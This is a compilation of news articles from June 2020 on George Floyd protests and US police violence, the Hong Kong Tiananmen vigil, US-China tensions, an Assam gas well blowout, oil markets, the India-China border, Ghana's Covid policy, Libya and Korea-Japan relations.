Miss Thunberg wrote: 'Still waiting for the EU and individual democratic nations to officially condemn the police brutality and attacks on the free press escalating the USA.

Greta Thunberg has called on EU leaders to condemn 'police brutality and attacks on the free press' in the US during the Black Lives Matter protests

The 17-year-old climate change activist took to Twitter to respond to footage of two police officers shoving a 75-year-old man to the ground, causing him to crack his head on the sidewalk

'For how long are we going to stand by, watch and say nothing?'

Her tweet comes in the second week of unrest in the US sparked by the death of unarmed black man George Floyd in Minneapolis last Monday.

White police officer Derek Chauvin knelt on Floyd's neck for eight minutes and 46 seconds despite Floyd's desperate repeated pleas for help. Floyd passed out and later died.

His death is seen as a symbol of systemic police brutality against African-Americans sparking outrage and protests country-wide.

Footage of the police shoving the protester in Buffalo was taken by a reporter from local radio station WBFO.

An elderly man was seen approaching Buffalo police officers in riot gear outside of City Hall on Thursday

Shocking video showed two officers inexplicably shoving him before he staggers and falls to the ground

Many of the officers continued marching, while two cops leaned over to check on the man

Governor Cuomo responded to the incident on Twitter calling it 'utterly disgraceful'

The white-haired man could be seen approaching a line of officers in riot gear outside of Buffalo City Hall after the city's 8pm curfew on Thursday.

As the man tries to speak to the officers, they immediately begin shouting at him to move along, before one of them pushes him with a baton and a second cop shoves him with his hand.

The elderly man is then seen staggering before falling back and hitting his head on the sidewalk. The sound of a crack is heard before blood trickles from his head.

The man, who was not identified, was taken to the hospital where he is now in serious condition, Buffalo Mayor Byron Brown said.

Horrific footage released last week showed a little girl screaming for help after she was allegedly pepper-sprayed by cops in Seattle

Dontae Parks, 29, was carrying his little boy atop his shoulders at the demonstration in Long Beach, California on Sunday when he was threatened by police officers

Tonight the NYPD hit a protester walking his bike and journalist @macfathom (also with a bike) with batons, knocking him over twice, completely unprovoked. The hoarse voice screaming hes press is me pic.twitter.com/TVAjawRIO3  johnknefel (@johnknefel) June 5, 2020

Police initially released a statement saying a person 'was injured when he tripped and fell.' The two cops are now under investigation.

Police forces across the country have been widely criticised for their use of heavy-handed tactics on largely-peaceful protesters.

In Brooklyn, hundreds of people were seen in a video marching down the street around 9pm before cops suddenly charged toward protesters without warning, prompting hundreds to take off running and disperse.

In a shocking video uploaded by journalist John Knefel, an NYPD officer wearing a white shirt is seen beating a male cyclist with his baton, before two more cops come along and knock him to the ground and restrain him.

A protester is arrested on Fifth Avenue by NYPD officers as they cracked down on people violating the 8pm curfew

Police began to move in on crowds and carried out arrests after thousands remained on the streets

Thousands continued marching across the city following a George Floyd vigil in Brooklyn that drew a crowd of 10,000 people

The man, who had been walking along peacefully with his bike, is heard repeatedly shouting: 'What did I do?' as cops seize him.

Yesterday a protester who faced off with cops at a rally in California claimed one officer threatened to spray tear gas at his two-year-old son.

Dontae Parks, 29, was carrying his little boy on his shoulders at the demonstration in Long Beach on Sunday when the policeman allegedly made the threat.

Parks says he believes that the officer would not have threatened to spray tear gas at his son if they were white.

'It would have been a whole different scenario and that's one of the reasons I was there [at the protest]' he stated.

Parks was captured in a dramatic photo which showed a different officer pointing a rubber bullet gun at his face while his young son watched on.

Horrific footage released last week showed a little girl screaming for help after she was allegedly pepper-sprayed by cops in Seattle.

The youngster screams and yells 'I can't see' as frantic onlookers rush over to help her.
HONG KONG - Thousands of people in Hong Kong defied a police ban Thursday evening, breaking through barricades to hold a candlelight vigil on the 31st anniversary of China's crushing of a democracy movement centred on Beijings Tiananmen Square.

Hey there, time traveller!

This article was published 3/6/2020 (596 days ago), so information in it may no longer be current.

Pan-democratic legislators observe one minute of silence for the 31st anniversary of Tiananmen crackdown before a Legislative Council meeting to debate national anthem bill in Hong Kong, Thursday, June 4, 2020. On the anniversary of Tiananmen crackdown, Hong Kong continued debating a contentious law that makes it illegal to insult or abuse the Chinese national anthem. (AP Photo/Vincent Yu)

HONG KONG - Thousands of people in Hong Kong defied a police ban Thursday evening, breaking through barricades to hold a candlelight vigil on the 31st anniversary of China's crushing of a democracy movement centred on Beijings Tiananmen Square.

With democracy snuffed out in the mainland, the focus has shifted increasingly to semi-autonomous Hong Kong, where authorities for the first time banned the annual vigil that remembers victims of the 1989 crackdown.

Beijing is taking a tougher stance following months of anti-government protests last year, in what activists see as an accelerating erosion of the citys rights and liberties. Earlier Thursday, the Hong Kong legislature passed a law making it a crime to disrespect Chinas national anthem. Pro-democracy lawmakers had disrupted proceedings to try to prevent the vote.

Despite the police ban, crowds poured into Victoria Park to light candles and observe a minute of silence at 8:09 p.m. (1209 GMT, 8:09 a.m. EDT). Many chanted "Democracy now"and "Stand for freedom, stand with Hong Kong."

While police played recordings warning people not to participate in the unauthorized gathering, they did little to stop people from entering the park. Authorities had cited the need for social distancing during the coronavirus pandemic in barricading the sprawling park, but activists saw the outbreak as a convenient excuse.

Chinese paramilitary police officers stand guard along a road near Tiananmen Square in Beijing, Thursday, June 4, 2020. China tightened controls over dissidents while pro-democracy activists in Hong Kong and elsewhere sought ways to mark the 31st anniversary Thursday of the crushing of the pro-democracy movement centered on Beijing's Tiananmen Square. (AP Photo/Mark Schiefelbein)

"If we dont come out today, we dont even know if we can still come out next year," said participant Serena Cheung.

Police said they made arrests in the city's Mongkok district, where large crowds also rallied. When several protesters tried to block a road, officers rushed to detain them, using pepper spray and raising a blue flag to warn them to disperse or they would use force on the unauthorized gathering. On Twitter, they urged people not to gather in groups because of the coronavirus.

After the vigil ended in Victoria Park, groups of protesters dressed in black carried flags that said, "Liberate Hong Kong, Revolution of our times" as well as "Hong Kong Independence."

A flower for victims of Tiananmen crackdown is laid as police officers stand guard in front of the Chinese Embassy in Seoul, South Kore, Thursday, June 4, 2020 during a rally marking the 31st anniversary of the Tiananmen crackdown on pro-democracy activists in Beijing. (AP Photo/Ahn Young-joon)

Hundreds and possibly thousands of people were killed when tanks and troops moved in on Tiananmen Square the night of June 3-4, 1989, to break up weeks of student-led protests that had spread to other cities and were seen as a threat to Communist Party rule.

A Chinese Foreign Ministry spokesperson offered the governments standard defence of the 1989 crackdown.

"The Chinese government has made a clear conclusion about the political disturbance that occurred in the late 1980s," Zhao Lijian said. "The great achievements that we have achieved ... have fully demonstrated that the development path China has chosen is completely correct, which conforms to Chinas national conditions and has won the sincere support of the Chinese people."

University students clean the "Pillar of Shame" statue, a memorial for those killed in the 1989 Tiananmen crackdown, at the University of Hong Kong, Thursday, June 4, 2020. China is tightening controls over dissidents while pro-democracy activists in Hong Kong and elsewhere try to mark the 31st anniversary of the crushing of the pro-democracy movement in Beijing's Tiananmen Square. (AP Photo/Kin Cheung)

On Thursday, the square where thousands of students had gathered in 1989 was quiet and largely empty. Police and armoured vehicles stood guard on the vast space. Few pedestrians lined up at security checkpoints, where they had to show IDs to be allowed through as part of nationwide mass surveillance to prevent any commemoration of the event.

As has become customary, many dissidents were placed under house arrest and their communications with the outside world cut off, according to rights groups.

"We all know the Hong Kong government and the Chinese government really dont want to see the candle lights in Victoria Park," said Wuer Kaixi, a former student leader who was No. 2 on the governments most-wanted list following the Tiananmen Square crackdown.

An activist comes to mourn those killed in the 1989 Tiananmen crackdown at victory park in Causeway Bay, Hong Kong, Thursday, June 4, 2020. China is tightening controls over dissidents while pro-democracy activists in Hong Kong and elsewhere try to mark the 31st anniversary of the crushing of the pro-democracy movement in Beijing's Tiananmen Square. (AP Photo/Kin Cheung)

"The Chinese Communists want us all to forget about what happened 31 years ago," he told The Associated Press in Taiwan, where he lives. "But it is the Chinese government themselves reminding the whole world that they are the same government ... doing the same in Hong Kong."

China did not intervene directly in last year's protests, despite speculation it might deploy troops, but backed the tough response of the Hong Kong police and government. Thousands were arrested in the demonstrations, which were sparked by now-abandoned legislation that could have allowed suspects to be sent to mainland China for trial.

The cancellation of the vigil came amid a tightening of Beijings grip over Hong Kong. China's ceremonial legislature last month ratified a decision to impose national security laws on Hong Kong, circumventing the citys legislature and shocking many of its 7.5 million residents.

A man lights candles displaying the date "June 4" to mourn those killed in the 1989 Tiananmen crackdown at Victoria Park in Causeway Bay, Hong Kong, Thursday, June 4, 2020. China is tightening controls over dissidents while pro-democracy activists in Hong Kong and elsewhere try to mark the 31st anniversary of the crushing of the pro-democracy movement in Beijing's Tiananmen Square. (AP Photo/Kin Cheung)

The approval of the national anthem bill, viewed as an infringement on freedom of expression, followed the recent arrest of 15 veteran activists on charges of organizing and taking part in last year's demonstrations. The moves are seen as part of a steady erosion of rights that Hong Kong was guaranteed when it was handed over from British to Chinese rule in 1997.

"The ban comes amid an alarming acceleration of attacks on the autonomy of Hong Kong and the undermining of the rights and freedoms of the Hong Kong people guaranteed under Hong Kong and international law," Sharon Hom, executive director of Human Rights in China, said in a statement.

About 15 members of the Hong Kong Alliance in Support of Patriotic and Democratic Movements of China, the group that organizes the annual vigil, gathered at Victoria Park at 6:30 p.m. (1030 GMT, 6:30 a.m. EDT). They wore black shirts with the Chinese characters for "truth" emblazoned on the front.

CAPTION CORRECTION: CORRECTS DATE OF TOP PHOTO In this two photo combination image; top June 4, 2014, photo shows thousands of people attend a candlelight vigil for victims of the Chinese government's 1989 brutal military crackdown on protesters in Beijing's Tiananmen Square at Victoria Park in Hong Kong, and bottom photo showing fewer participants gathering for the same vigil a year later Thursday, June 4, 2020, despite permission for it being officially denied, at Victoria Park in Causeway Bay, Hong Kong. (AP Photo/Vincent Yu)

The activists lit candles and urged the public to do the same later to mourn victims of the massacre and show their support for the democratic cause in China.

Alliance Chairman Lee Cheuk-yan then led the group of about 15 members in a candlelit procession around the perimeter of the park, shouting slogans including, "Stand with Hong Kong."

"We have been doing this for 30 years, we have the right to do this, this is a peaceful procession," he said, stating that it would be absurd if this behaviour is criminalized.

Participants gesture with five fingers, signifying the "Five demands - not one less" during a vigil for the victims of the 1989 Tiananmen Square Massacre at Victoria Park in Causeway Bay, Hong Kong, Thursday, June 4, 2020. China is tightening controls over dissidents while pro-democracy activists in Hong Kong and elsewhere try to mark the 31st anniversary of the crushing of the pro-democracy movement in Beijing's Tiananmen Square. (AP Photo/Kin Cheung)

The group later removed one of the barricades surrounding the park, and entered. Eventually, thousands followed.

Lee said that the danger in the national security law is that Beijing will define what is a crime. "If we commemorate June 4th, condemn the massacre, (call for the) end of one-party rule, will this be labeled as subversion? We dont know," he said.

Other vigils, virtual and otherwise, were held elsewhere, including in Taiwan, the self-ruled island democracy whose government called again this year for Beijing to own up to the facts of the crackdown.

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U.S. Secretary of State Mike Pompeo tweeted criticism of China and Hong Kong for banning the vigil earlier this week before meeting with a group of Tiananmen Square survivors at the State Department.

Zhao, the Foreign Ministry spokesperson, said, "We urge the U.S. to abandon ideological prejudice, correct mistakes and stop interfering in Chinas internal affairs in any form."

-

Moritsugu reported from Beijing. Associated Press videojournalists Alice Fung and Katie Tam in Hong Kong and Taijing Wu in Taipei, Taiwan, contributed.

-

Hong Kong Alliance in Support of Patriotic and Democratic Movements of China: www.64live.org
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Linkedin News Desk (Agence France-Presse) Minneapolis, United States  Fri, June 5, 2020 10:15 595 fc6853813033f564188675f8bdc52c96 2 World George-Floyd,memorial-service,black-lives-matter,anti-racism,anti-racism-protests,racial-issues,racial-tension,racial-violence,racial-discrimination Free

An attorney for George Floyd vowed at a memorial service on Thursday to find justice for the African-American man whose harrowing videotaped death while being arrested last week sparked nationwide protests.

Benjamin Crump, who is representing Floyd's family, said it was "not the coronavirus pandemic that killed George Floyd."

"It was that other pandemic," he said. "The pandemic of racism and discrimination that killed George Floyd."

Crump pledged "to get justice for George Floyd," who died during a May 25 arrest when a white police officer knelt on his neck for nearly nine minutes.

Members of Floyd's family, the Reverend Jesse Jackson, Minnesota Governor Tim Walz, Minnesota Senator Amy Klobuchar and Minneapolis Mayor Jacob Frey were among several hundred people attending the memorial service at North Central University in downtown Minneapolis.

Civil rights activist Al Sharpton is to deliver the eulogy for the 46-year-old Floyd, who is to be buried in his home town of Houston, Texas.

Four police officers have been arrested for their role in Floyd's death, which has unleashed a wave of protests for racial justice unseen in the US since the 1968 assassination of Martin Luther King Jr.
(JNS)  U.S. President Donald Trump signed the Never Again Education Act, which seeks to expand Holocaust education in the United States, into law on Thursday.

The U.S. House of Representatives passed the legislation in January, while the U.S. Senate did so on May 13.

The new law expands the U.S. Holocaust Memorial Museums education programming to teachers nationwide, requiring the museum to develop and disseminate resources to improve awareness and understanding of the Holocaust and its lessons.

A total of $2 million will be allocated annually and for the next four years to the Holoca...
The entire 57-member emergency response team of the Buffalo Police Department has resigned after two members of the unit were suspended for pushing a 75-year-old to the ground during the George Floyd protests.

The resignations were confirmed by the police union and two law enforcement that spoke to The Buffalo News.

Two members of the tactical unit, which responds to riots and crowd control, were suspended without pay on Thursday after video emerged of the confrontation during the emergency curfew.

The development that the members resigned out of support for the suspended officers, as well as the disgust with the admin, was first reported by Spectrum News.

Buffalo Police Benevolent Association President John Evans said the officers were simply doing their job and the man slipped during the interaction, which was aired by local news WBFO on Thursday night.

George Floyd death: Minneapolis protests erupt in the streets Show all 30 1 /30 George Floyd death: Minneapolis protests erupt in the streets George Floyd death: Minneapolis protests erupt in the streets Police spray mace at protestors to break up a gathering near the Minneapolis Police third precinct after a white police officer was caught on a bystander's video pressing his knee into the neck of African-American man George Floyd, who later died at a hospital, in Minneapolis Reuters George Floyd death: Minneapolis protests erupt in the streets A protester holds a sign with an image of George Floyd AP George Floyd death: Minneapolis protests erupt in the streets Protesters demonstrate against the death of George Floyd AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A protester throws a piece of wood on a fire in the street just north of the 3rd Police Precinct Getty George Floyd death: Minneapolis protests erupt in the streets People in other US cities also protested the murder, like Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets AP George Floyd death: Minneapolis protests erupt in the streets Reuters George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A police officer lobs a canister to break up crowds Reuters George Floyd death: Minneapolis protests erupt in the streets A protester is treated after inhaling tear gas Getty George Floyd death: Minneapolis protests erupt in the streets Two police officers stand on the roof of the Third Police Precinct during a face off with a group of protesters Getty George Floyd death: Minneapolis protests erupt in the streets Protesters outside a Minneapolis police precinct two days after George Floyd died EPA George Floyd death: Minneapolis protests erupt in the streets Protesters run from tear gas Reuters George Floyd death: Minneapolis protests erupt in the streets AP George Floyd death: Minneapolis protests erupt in the streets Demonstrators gather to protest in Los Angeles AP George Floyd death: Minneapolis protests erupt in the streets Police remove barricades set by protesters AFP via Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets A fire burns inside of an Auto Zone store near the Third Police Precinct Getty George Floyd death: Minneapolis protests erupt in the streets Flowers, signs and balloons are left near a makeshift memorial to George Floyd near the spot where he died AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A policeman faces a protester holding a placard in downtown Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A couple poses with a sign in Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets MINNEAPOLIS, MN - MAY 27: A man is tended to after sustaining an injury from a projectile shot by police outside the 3rd Police Precinct building on May 27, 2020 in Minneapolis, Minnesota. Four Minneapolis police officers have been fired after a video taken by a bystander was posted on social media showing Floyd's neck being pinned to the ground by an officer as he repeatedly said, "I cant breathe". Floyd was later pronounced dead while in police custody after being transported to Hennepin County Medical Center. (Photo by Stephen Maturen/Getty Images) Stephen Maturen Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets A protester reacts after inhaling tear gas Getty George Floyd death: Minneapolis protests erupt in the streets Getty Images George Floyd death: Minneapolis protests erupt in the streets Protesters use shopping carts as a barricade Getty Images George Floyd death: Minneapolis protests erupt in the streets Protesters clash with the police as they demonstrate against the death of George Floyd AFP via Getty Images

The footage appeared to show the two offers pushing the senior man before he fell and hit his head on the sidewalk.

Our position is these officers were simply following orders from Deputy Police Commissioner Joseph Gramaglia to clear the square, Mr Evans told The Buffalo News.

It doesnt specify clear the square of men, 50 and under or 15 to 40. They were simply doing their job. I dont know how much contact was made. He did slip in my estimation. He fell backwards.

The mass resignation reportedly follows the unions direction to members on Friday that they would no longer pay legal fees to defend officers from incidents stemming from the protests.

 Joe Biden condemns Donald Trump for George Floyd remarks

Buffalo Mayor Byron Brown issued a statement confirming developments related to work assignments, which reportedly sees the officers resigned from the tactical unit but not from the larger police department.

At this time, we can confirm that contingency plans are in place to maintain police services and ensure public safety within our community, Mr Brown said.

New York State Police confirmed that additional troopers were called into the region, including members of the mobile field unit.

During the incident in the area near Buffalo City Hall, activist Martin Gugino can be seen in the footage to approach police before stumbling backwards and hitting his head on the pavement.

Blood pools on the concrete as police call it in on their radio and continue clearing the square. Hr was rushed to Erie County Medical Centre, where he was in a stable but serious condition.

Erie County Executive Mark Poloncarz said told a press conference on Friday that he was utterly disgusted by the officers decision to quit the tactical unit.

The Erie County District Attorney is investigating the incident but no charges have yet been filed. Mr Evans said the police union would pay for any defence costs of the two officers.

We stand behind those officers 100 per cent, he said.
The arrival of three experts from Singapore-based Alert Disaster Control to control the blowout at a natural gas well in Assams Tinsukia district was delayed owing to formalities related to Covid-19 pandemic.

The well located at Baghjan, operated by Oil India Limited (OIL), witnessed a blowout, uncontrolled release of natural gas or oil when pressure systems fail, on May 27. The natural gas and condensate matter kept flowing from it uncontrollably for the tenth consecutive day on Friday.

After failing to plug the flow, OIL had sought services of a Singapore-based firm. The team that was expected to arrive on Wednesday has not landed in Assam yet.

Singapore-based firm, Alert Disaster Control, will reach Duliajan (Assam) late evening on June 7. The delay in their arrival is due to COVID-related clearances at Singapore, OIL said in a statement on Friday.

In an email to OIL, the firm informed that the civil aviation authority of Singapore has issued a one-time exceptional clearance for a charter aircraft from India to land and take off from Singapore on June 7.

Meanwhile, OIL has decided to provide Rs 30,000 each to the nearly 2,000 families near the well who were evacuated and are staying at four relief camps since the blowout started.

Our families are spending time at relief camps since May 27. We hope that the experts reach the site soon and control the blowout so that we can resume our normal lives, said Madhav Moran, a resident of Baghjan.

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Oil prices rallied early on Friday as the market expects a weekend meeting of OPEC and its Russia-led allies to roll over the current levels of the OPEC+ production cuts by another month after June.

As of 8:31 a.m. EDT on Friday, WTI Crude was up 2.97 percent at $38.52. Brent Crude was surging 3.88 percent to $41.50, after topping $40 a barrel earlier this week for the first time since early March, when Saudi Arabia and Russia broke up the previous OPEC+ pact and started an oil price war for market share.

This months OPEC+ meeting hasnt lacked the drama surrounding the groups previous meetings. Initially, the OPEC+ group was aiming for holding the meeting on June 4, earlier than the initial plans to hold the teleconference on June 9 and 10.

Russia and Saudi Arabiathe two leaders of the OPEC+ pacthave reportedly reached a preliminary agreement to extend the current level of the OPEC+ production cuts by one month. Ahead of previous meetings, it has been customary for Russia to play hard to get and not agree to anything until the very last moment. But this time around, Russia and the Saudis look to be in agreement from the start of negotiations. However, this time they are conditioning the one-month extension to the laggards in compliance showing exemplary compliance and compensating for flouting their quotas in May. Those laggards, as usual, are Iraq and Nigeria from OPEC and Kazakhstan from non-OPEC. Related: Lithium-Ion Battery Demand To Increase By More Than 1000% This Decade

Failing to get a firm commitment from all producers about full compliance, the OPEC+ heavyweights scrapped the plan for a June 4 meeting.

The meeting is now set for Saturday, June 6, Russias energy ministry said on Friday, while Saudi Arabias Energy Minister, Prince Abdulaziz bin Salman, told Reuters today that Coordination is under way to hold OPEC and OPEC+ meetings tomorrow afternoon.

The fact that the OPEC+ pact found a way to hold the meeting this week suggests that there could be an agreement for a one-month extension of the record cuts.

Any deal will likely be subject to better compliance from those who have fallen short so far, ING strategists Warren Patterson and Wenyu Yao said on Friday.

By Tsvetana Paraskova for Oilprice.com

More Top Reads From Oilprice.com:
BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - European stocks were moving higher on Friday as investors cheered new stimulus efforts in Europe to deal with the economic fallout from the coronavirus pandemic. The European Central Bank announced Thursday it will increase its Pandemic Emergency Purchase program by a further 600 billion euros ($676 billion) to support funding conditions in the real economy, especially for businesses and households. Markets were expecting a 500 billion euros increase. On a light day on the economic front, investors await the U.S. nonfarm payrolls report later in the day for further direction. The pan European Stoxx 600 climbed 1.3 percent to 371 after declining 0.7 percent on Thursday. The German DAX rallied 1.7 percent, France's CAC 40 index jumped 1.9 percent and the U.K.'s FTSE 100 was up 1.1 percent. Banks as well as trade-sensitive automakers were up across the board. Total SA gained 3.6 percent, BP Plc surged 4.6 percent and Royal Dutch Shell added 4.1 percent after reports that OPEC+ leaders Russia and Saudi Arabia have clinched a tentative deal to extend record production curbs for another month until the end of July. Travel-related stocks were moving higher after reports that some European countries were keen to adopt transport corridors, as soon as next month that would let British holidaymakers visit Mediterranean resorts without quarantining for 14 days on their return. British Airways owner-IAG jumped 10.8 percent and easyJet advanced 8 percent. German airline Lufthansa jumped 6.2 percent despite news that it will be replaced by real estate company Deutsche Wohnen AG in the DAX Index. Copper producer KAZ Minerals slumped 11 percent after issuing an update for its Baimskaya Project. Residential developer Taylor Wimpey rose 3.4 percent. As at week ending May 31, total order book value stood at approximately 2.78 billion pounds, up from last year's 2.52 billion pounds, the company said in a statement. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
China has appointed a new Army commander for its Western Theatre Command ground forces responsible for the Sino-India border, ahead of the key talks between senior Indian and Chinese military officials on Saturday to end the border standoff.

The People's Liberation Army (PLA) Western Theatre Command, on its official website, announced that Lieutenant General Xu Qiling has been appointed as the new commander for its ground forces.

Before this, he reportedly served in the Eastern Theatre Command.

The Western Theatre Command of the PLA guards the 3,488-km long Line of Actual Control (LAC) with India.

The PLA's Western Theatre Command, which includes the ground force or Army, Air Force and Rocket Force, is headed by General Zhao Zongqi.

The new appointment comes at a time when the Chinese and Indian forces are locked in a border standoff since early last month.

On Saturday, both the sides are expected to deliberate on the specific proposals to end the month-long standoff in eastern Ladakh during the first extensive talks between the Indian and Chinese military, led by lieutenant generals from both the armies.

The general officer commanding of Leh-based 14 Corps, Lt Gen Harinder Singh, is expected to represent India at the talks which is scheduled to be held at one of the border meeting points, the official sources in New Delhi said. The two sides have already held at least 10 rounds of negotiations between local commanders as well as major general-rank officials of the two armies but the talks did not yield any positive result, they said.

The India-China border dispute covers the 3,488-km-long LAC. China claims Arunachal Pradesh as part of southern Tibet while India contests it.

Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.
The Dean of Presiding Members in the Greater Accra Region, Mr. Joseph Korto, has advised political opponents to stop their smear campaign to oppose President Akufo-Addo's decision to ease the Covid-19 restrictions in the country.

The opposition parties are sounding like jilted lovers if you ask me. Their complaints against President Akufo-Addo's easing of the Covid-19 restrictions is being drowned out by overwhelming approval from the masses and if I were their leaders, I would advise them to stop that move because it is not smart, Mr Korto said.

Speaking in an interview with the Ghana News Agency in Accra on the easing of restrictions, Mr Korto said, that thinking amounted to the opposition swimming against the tide of public opinion.

According to him, from church leaders to traders to musicians, the overwhelming majority consensus was that, the President's decision to ease the restrictions but intensify health and safety protocols was a masterstroke decision.

He said the easing of the restrictions created hope for stranded Ghanaians in other countries that soon, President Akufo-Addo's promise to have them evacuated would happen for them to be re-united with their loved ones back at home.

Consequently, Ghanaians stranded in the diaspora are applauding the President. So how come only the opposition are complaining? It makes them sound like a lonely voice in the wilderness, Mr Korto and urged them to stop that kind of politics as it would not help in the development discourse of the country.

The Opposition claimed that the President eased the restrictions for as a matter of political gamesmanship and that the decision was a populist one to please the people rather than based on sound science.

Mr Korto said there was nothing more scientific about realizing that Covid-19 may just live with humankind forever and that keeping people locked up in their homes, which would subsequently go against the country.

Have they be following the news and have they not seen that even in the United States, restrictions are being eased? The danger about keeping people locked-up at home is not only in terms of the economy breaking down, but even people's sanity will be affected in the long run.

This is why the overwhelming majority of the people, are applauding the President. Except the opposition, Market women are happy, churches and mosques are happy, Mr Korto added.

---GNA
US Accuses China of Breaking Democracy Pledge for Hong Kong

By Nike Ching, Ken Bredemeier June 04, 2020

The United States accused China on Thursday of breaking its commitment for democracy in Hong Kong, hours after the city's legislature passed a law making it a crime to disrespect China's national anthem.

"Unfortunately, we have seen over the past several weeks, action after action ... where China is once again showing the world that they break their promises, that they have empty commitments and they never, never intend to keep their word," State Department spokeswoman Morgan Ortagus told VOA. "So, we remain very concerned at the State Department.

"We just hope that the world now sees Chairman Xi (Jinping) for who he is and now sees the Chinese Communist Party for who they are," she said.

Hong Kong's mostly pro-Beijing legislature overwhelmingly voted to pass the anthem law. It carries a penalty of up to three years in prison and a maximum fine of $6,450 for those who insult the anthem  "March of the Volunteers"  in public or playing and singing it in a distorted or disrespectful way.

Ortagus noted that Secretary of State Mike Pompeo recently was unable to certify to the U.S. Congress that Hong Kong is autonomous from China after China announced its intention to impose national security controls over the territory, which she called "a tragedy for the people of Hong Kong."

The new U.S. rebuke of China came as thousands of people gathered Thursday night in Hong Kong in defiance of a police ban on such crowds to remember the victims of the Tiananmen Square massacre in 1989.

The crowd cheered as speakers denounced the Chinese decision to impose the national security laws on the city. They also observed a minute of silence for the Tiananmen victims, ending it with loud chants of "Liberate Hong Kong, revolution of our time."

Ortagus said that earlier this week, Pompeo met with Tiananmen survivors, the first time a sitting U.S. secretary of state had done so.

"I think that that action speaks very, very loudly to the entire world," she said. "Secretary Pompeo and I were hosting these Tiananmen survivors. And the pictures, the stories were harrowing. And we promise to continue to tell their story to the world. It won't be forgotten. We remember Tiananmen."

She also accused Beijing of trying to foment discord in the U.S. over the nights of protests against the death of George Floyd, a black man who died last week while in police custody in Minneapolis, Minnesota.

"We know that they are trying to take this opportunity to make comparisons to try to sow discord in the U.S.," Ortagus said.

"But you know there's a major difference," she said. "Obviously, we have freedom of the press here. Obviously, we have freedom to assemble. And the United States will continue those fundamental rights, which Chinese citizens, if they tried to enjoy the same rights, they would be cracked down on, the way they have in Hong Kong, and the way they were in Tiananmen Square."

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Libya's prime minister to meet with Turkish president in Ankara

Iran Press TV

Thursday, 04 June 2020 10:11 AM

Libya's Prime Minister Fayez Sarraj is about to meet Turkish President Recep Tayyip Erdogan in Ankara, as the two allies seek to lock in recent gains against the North African country's rebel commander, Khalifa Haftar, ahead of a fresh round of peace talks on a potential truce.

For the past six years, Libya has been split between two rival camps, namely the internationally-recognized government of Sarraj, and another camp based in the eastern city of Tobruk, supported militarily by rebel forces under the command of Haftar, a renegade general.

The strongman is supported by the UAE, Egypt, and Jordan, and launched a deadly offensive to capture Tripoli, the seat of the government, in April last year. His forces haven't been able to advance past the city's outskirts, however.

In a statement on Thursday, the Turkish Presidency said that Erdogan and Sarraj were due to meet in Ankara at 1100 GMT on Thursday.

In recent months, Ankara, a close ally of Tripoli, has significantly helped the government push back Haftar's rebel forces and take back multiple areas. The Turkish government has been providing the government with logistics and military equipment.

Furthermore, and in a controversial move, Ankara has sent thousands of Turkish-backed Syrian militants there to allegedly fight alongside the government forces against Haftar's rebels.

"The whole world recognizes that Turkey changed the balance" on the ground in Libya, Turkish Foreign Minister Mevlut Cavusoglu said on Wednesday. "We have interests here (and) in the Mediterranean."

The plan for the meeting on Thursday comes just a day after Libyan government forces managed to liberate Tripoli's main airport from the rebels ahead of what appeared to be moves toward talks on a ceasefire and after months of gains to oust the strongman from much of his foothold in the northwest.

On Monday, the UN said both sides had agreed to resume ceasefire negotiations, warning that weapons and armed men flying into Libya in defiance of an arms embargo risked leading to a major escalation.

Libya plunged into chaos in 2011 when a popular uprising and a NATO intervention led to the ouster of long-time dictator Muammar Gaddafi.

Multiple international attempts to bring about peace between the two warring sides in Libya have so far failed.

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Korea, Japan should find compromise over wartime forced labor



South Korea and Japan are showing signs of reigniting their diplomatic row over the latter's wartime forced labor. If they fail to find a compromise, the two countries may risk aggravating their already-sourced relations further.



The dispute is turning for the worse as a South Korean court has decided to start a legal procedure to liquidate seized assets of a Japanese firm that has refused to honor a ruling to compensate surviving South Korean victims of wartime forced labor.



On Monday, the court took action for "delivery of public notice" as the defendant, Nippon Steel, has refused to accept the court's legal document on asset liquidation. If the company does not respond to the document by Aug. 8, the court can issue an order to sell off the seized assets.



The legal step came after the Supreme Court of South Korea ordered Nippon Steel in 2018 to pay compensation to four South Koreans for their unpaid wartime forced labor. As the company refused to comply with the order, the plaintiffs applied for the seizure of the steelmaker's 194,794 shares worth 973 million won ($799,400) in PNR, a joint venture created by Nippon Steel and Korean steelmaker POSCO.



The victims have no other choice but to resort to the court's imminent order to dispose of the shares as long as the Japanese firm continues to ignore the compensation ruling. If such a thing happens, the relations between Seoul and Tokyo could plunge to the lowest point since the 1965 diplomatic normalization.



More worrisome is that the nationalist Shinzo Abe government is threatening to retaliate against the looming sell-off order from the Korean court. Both sides have failed to narrow their wide differences over the forced labor issue since the Supreme Court ruled against the company.



In July 2019, Tokyo took a retaliatory action against Seoul by restricting exports of key materials essential for South Korean firms to make semiconductors and display panels. Soon in August that year, Japan also removed Korea from its list of favored trading partners, citing security reasons. The bilateral ties suddenly soured as Seoul made a tit-for-tat response to Tokyo's trade retaliations.



On Tuesday, Seoul decided to resume its process of taking the trade dispute to the World Trade Organization (WTO) as Tokyo has done nothing to lift its export restrictions against Korean firms. It is regrettable that the Moon Jae-in administration has made the decision only because of Japan's uncompromising stance.



